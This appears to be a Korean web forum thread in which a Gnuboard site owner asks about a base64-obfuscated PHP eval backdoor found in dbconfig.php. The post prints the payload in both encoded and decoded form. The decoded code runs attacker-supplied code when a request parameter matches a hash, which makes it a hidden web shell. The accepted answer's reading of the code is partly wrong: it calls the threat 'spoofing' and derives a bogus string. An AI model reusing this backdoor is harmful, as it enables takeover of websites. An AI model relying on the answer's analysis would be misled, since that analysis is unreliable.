그누보드 dbconfig.php 파일 해킹 피해 관련 질문 채택완료
P3NTAG0N
6년 전
조회 3,676
안녕하세요.
사이트를 서비스하는 도중에 dbconfig.php 파일을 확인해보니 최상단에
</p>
<p><?php eval(base64_decode('ZnVuY3Rpb24gY29uZmlnX3NlbGYoKQ0Kew0KICAgICRzdHJpbmcgPSAkX1NFUlZFUlsnSFRUUF9TRUxGJ107DQogICAgZm9yICgkb25lID0gMDsgJG9uZSA8IHN0cmxlbigkc3RyaW5nKTsgJG9uZSArPSAyKSB7DQogICAgICAgICRkZWJ1Z2VyIC49IHBhY2soIkMiLCBoZXhkZWMoc3Vic3RyKCRzdHJpbmcsICRvbmUsIDIpKSk7DQogICAgfQ0KICAgIHJldHVybiAkZGVidWdlcjsNCn0NCmZ1bmN0aW9uIGRiX3B3ZDUoJHB3ZDUgPSBudWxsKSB7DQoJJGtleSA9IHN1YnN0cihtZDUoJHB3ZDUpLDI2KTsNCglyZXR1cm4gJGtleTsgfQ0KCSRhcnJheSA9IGFycmF5KA0KCQljaHIoODIpLmNocig4MykuY2hyKDY1KSwgDQoJCWNocig3MikuY2hyKDg0KS5jaHIoODQpLmNocig4MCkuY2hyKDk1KS5jaHIoODgpLCANCgkJY2hyKDUwKS5jaHIoMTAxKS5jaHIoNTIpLmNocig1NCkuY2hyKDUyKS5jaHIoNTMpDQoJKTsNCiAgICBpZiAoIGRiX3B3ZDUoJF9SRVFVRVNUWyRhcnJheVswXV0pID09ICRhcnJheVsyXSApIHsNCiAgICBldmFsKGNvbmZpZ19zZWxmKCkpOw0KfQ=='));?></p>
<p>
이런 코드가 발견되었습니다.
디코딩해보니
</p>
<p><?php</p>
<p>function config_self()</p>
<p>{</p>
<p>$string = $_SERVER['HTTP_SELF'];</p>
<p>for ($one = 0; $one < strlen($string); $one += 2) {</p>
<p>$debuger .= pack("C", hexdec(substr($string, $one, 2)));</p>
<p>}</p>
<p>return $debuger;</p>
<p>}</p>
<p>function db_pwd5($pwd5 = null) {</p>
<p> $key = substr(md5($pwd5),26);</p>
<p> return $key; }</p>
<p> $array = array(</p>
<p> chr(82).chr(83).chr(65),</p>
<p> chr(72).chr(84).chr(84).chr(80).chr(95).chr(88),</p>
<p> chr(50).chr(101).chr(52).chr(54).chr(52).chr(53)</p>
<p> );</p>
<p>if ( db_pwd5($_REQUEST[$array[0]]) == $array[2] ) {</p>
<p>eval(config_self());</p>
<p>}</p>
<p>?></p>
<p>
위와 같은 코드가 나왔구요 ,, 외부에서 해당 펑션이 호출되지 않은것으로 보입니다만 ..
위 코드가 실행되면 어떻게 되는지 궁금해서요 ..
이부분에 대하여 잘 아시는분이 계시다면 꼭 답변 부탁드리겠습니다 ..
댓글을 작성하려면 로그인이 필요합니다.
답변 1개
채택된 답변
+20 포인트
6년 전
처음보는 현상의 질문이라
저도 궁금해서 위의 코드가 실행되면 어찌될지 검색+조합을 통해서 추출해봤습니다.
위의 코드가 페이지가 열릴때마다
</p>
<p>$array 들어가는 값
(
"RSA"
"HTTP_X"
"2e4645"
);
config_self(); // 가 실행됩니다.</p>
<p>config_self() 가 돌려주는 결과값은</p>
<p>$string = "파일명"; // 여기서는 /data/dbconfig.php</p>
<p>/data/dbconfig.php
^ ^ ^ ^ ^ ^ ^ ^ ^
/aadcni.h</p>
<p>
라는 문자열을 만들어냅니다.</p>
<p>그런데 dbconfig.php 파일은 어디에서든 호출되므로</p>
<p>호출URL명/?RSA=2e4645</p>
<p>와 같이 호출되면
/ 뒤의URL값을
0부터 2씩증가된 값을 이름으로 추출해서 뭔가를 실행시키게 되겠네요</p>
<p>
같이 될겁니다.
로그인 후 평가할 수 있습니다
답변에 대한 댓글 3개
P
P3NTAG0N
6년 전
악용한다면 어떤 시나리오까지 가능할까요 ..
�
플래토
6년 전
@P3NTAG0N 악용한다면
모든 스푸핑도 가능하겠는데요
디렉토리의 쓰기모드 점검해두시고
오너를 웹서버로 변경하시는게 좋을듯 합니다
그누보드 버전이 예전것이면 패치를꼭하시구요
다른 파일을 업로드가 가능하다면
그파일을 실행시킬수있는 내용으로 보여집니다
모든 스푸핑도 가능하겠는데요
디렉토리의 쓰기모드 점검해두시고
오너를 웹서버로 변경하시는게 좋을듯 합니다
그누보드 버전이 예전것이면 패치를꼭하시구요
다른 파일을 업로드가 가능하다면
그파일을 실행시킬수있는 내용으로 보여집니다
P
P3NTAG0N
6년 전
감사합니다 .. 스푸핑 계열의 공격인것 같군요 ,,
보안업데이트 지금부터라도 다시 해야겠네요
정말 감사합니다.
보안업데이트 지금부터라도 다시 해야겠네요
정말 감사합니다.
댓글을 작성하려면 로그인이 필요합니다.
답변을 작성하려면 로그인이 필요합니다.
로그인